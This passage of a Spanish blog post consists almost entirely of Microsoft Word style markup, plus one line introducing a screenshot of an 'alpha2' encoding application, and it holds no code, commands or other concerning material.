<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 2"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 3"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 4"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 5"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 6"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
<w:LsdException Locked="false" Priority="31" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
</w:LatentStyles>
</xml><![endif]--><!--[if gte mso 10]>
<style>
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:"Table Normal";
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-parent:"";
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin-top:0cm;
mso-para-margin-right:0cm;
mso-para-margin-bottom:10.0pt;
mso-para-margin-left:0cm;
line-height:115%;
mso-pagination:widow-orphan;
font-size:11.0pt;
font-family:"Calibri","sans-serif";
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;
mso-fareast-language:EN-US;}
</style>
<![endif]--><!--[if !mso]>
<style>
v\:* {behavior:url(#default#VML);}
o\:* {behavior:url(#default#VML);}
w\:* {behavior:url(#default#VML);}
.shape {behavior:url(#default#VML);}
</style>
<![endif]--></div>
<div class="MsoNormal">
<!--[if gte mso 9]><xml>
<o:OfficeDocumentSettings>
<o:AllowPNG/>
</o:OfficeDocumentSettings>
</xml><![endif]--><!--[if gte mso 9]><xml>
<w:WordDocument>
<w:View>Normal</w:View>
<w:Zoom>0</w:Zoom>
<w:TrackMoves>false</w:TrackMoves>
<w:TrackFormatting/>
<w:HyphenationZone>21</w:HyphenationZone>
<w:PunctuationKerning/>
<w:ValidateAgainstSchemas/>
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
<w:DoNotPromoteQF/>
<w:LidThemeOther>ES</w:LidThemeOther>
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
<w:Compatibility>
<w:BreakWrappedTables/>
<w:SnapToGridInCell/>
<w:WrapTextWithPunct/>
<w:UseAsianBreakRules/>
<w:DontGrowAutofit/>
<w:SplitPgBreakAndParaMark/>
<w:EnableOpenTypeKerning/>
<w:DontFlipMirrorIndents/>
<w:OverrideTableStyleHps/>
</w:Compatibility>
<m:mathPr>
<m:mathFont m:val="Cambria Math"/>
<m:brkBin m:val="before"/>
<m:brkBinSub m:val="--"/>
<m:smallFrac m:val="off"/>
<m:dispDef/>
<m:lMargin m:val="0"/>
<m:rMargin m:val="0"/>
<m:defJc m:val="centerGroup"/>
<m:wrapIndent m:val="1440"/>
<m:intLim m:val="subSup"/>
<m:naryLim m:val="undOvr"/>
</m:mathPr></w:WordDocument>
</xml><![endif]--><!--[if gte mso 9]><xml>
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
LatentStyleCount="267">
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
<w:LsdException Locked="false" Priority="35" QFormat="true" Name="caption"/>
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
UnhideWhenUsed="false" Name="Table Grid"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 1"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 2"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 3"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 4"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 5"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 6"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
<w:LsdException Locked="false" Priority="31" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
</w:LatentStyles>
</xml><![endif]--><!--[if gte mso 10]>
<style>
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:"Table Normal";
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-parent:"";
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin-top:0cm;
mso-para-margin-right:0cm;
mso-para-margin-bottom:10.0pt;
mso-para-margin-left:0cm;
line-height:115%;
mso-pagination:widow-orphan;
font-size:11.0pt;
font-family:"Calibri","sans-serif";
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;
mso-fareast-language:EN-US;}
</style>
<![endif]-->
</div>
<div class="MsoNormal">
O con la aplicación alpha2:</div>
<div class="MsoNormal">
<span style="mso-fareast-language: ES; mso-no-proof: yes;"><br /></span></div>
<div class="MsoNormal">
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-5tuuhqqoCRQ/UW6mCz6n58I/AAAAAAAAAfE/1Po57-DNjkY/s1600/encode_alpha2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="156" src="http://1.bp.blogspot.com/-5tuuhqqoCRQ/UW6mCz6n58I/AAAAAAAAAfE/1Po57-DNjkY/s640/encode_alpha2.png" width="640" /></a></div>
<br /></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<!--[if gte mso 9]><xml>
<o:OfficeDocumentSettings>
<o:AllowPNG/>
</o:OfficeDocumentSettings>
</xml><![endif]--></div>
<div class="MsoNormal">
<!--[if gte mso 9]><xml>
<w:WordDocument>
<w:View>Normal</w:View>
<w:Zoom>0</w:Zoom>
<w:TrackMoves/>
<w:TrackFormatting/>
<w:HyphenationZone>21</w:HyphenationZone>
<w:PunctuationKerning/>
<w:ValidateAgainstSchemas/>
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
<w:DoNotPromoteQF/>
<w:LidThemeOther>ES</w:LidThemeOther>
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
